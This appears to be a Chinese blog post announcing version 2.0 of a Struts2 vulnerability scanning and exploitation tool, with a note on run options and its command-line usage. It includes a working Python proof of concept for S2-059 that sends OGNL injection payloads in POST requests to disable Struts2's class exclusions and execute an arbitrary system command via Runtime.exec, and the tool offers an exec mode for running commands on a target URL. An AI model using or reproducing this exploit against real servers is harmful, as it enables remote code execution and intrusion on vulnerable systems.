Struts2漏洞检查&利用工具-2.0

2021-01-11 11:37:19 浏览数 (1)

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

本次更新了vulhub里面的struts2的全漏洞扫描。同时生成linux64位的运行软件。

linux下运行:

win下运行:

由于s2-059poc,没有回显,因此没有添加进去。

POC:

代码语言:javascript复制
import requests


url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('你的payload'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

用法:

代码语言:javascript复制
COMMANDS:
   help, h  Shows a list of commands or help for one command


GLOBAL OPTIONS:
   --mode value  值exec和scan
   --vn value    Vulnerability number (default: 0)
   --url value   set target url
   --cmd value   exec command(only work on exploit mode)
   --data value  data for special vuln
   --help, -h    show help (default: false)

0 人点赞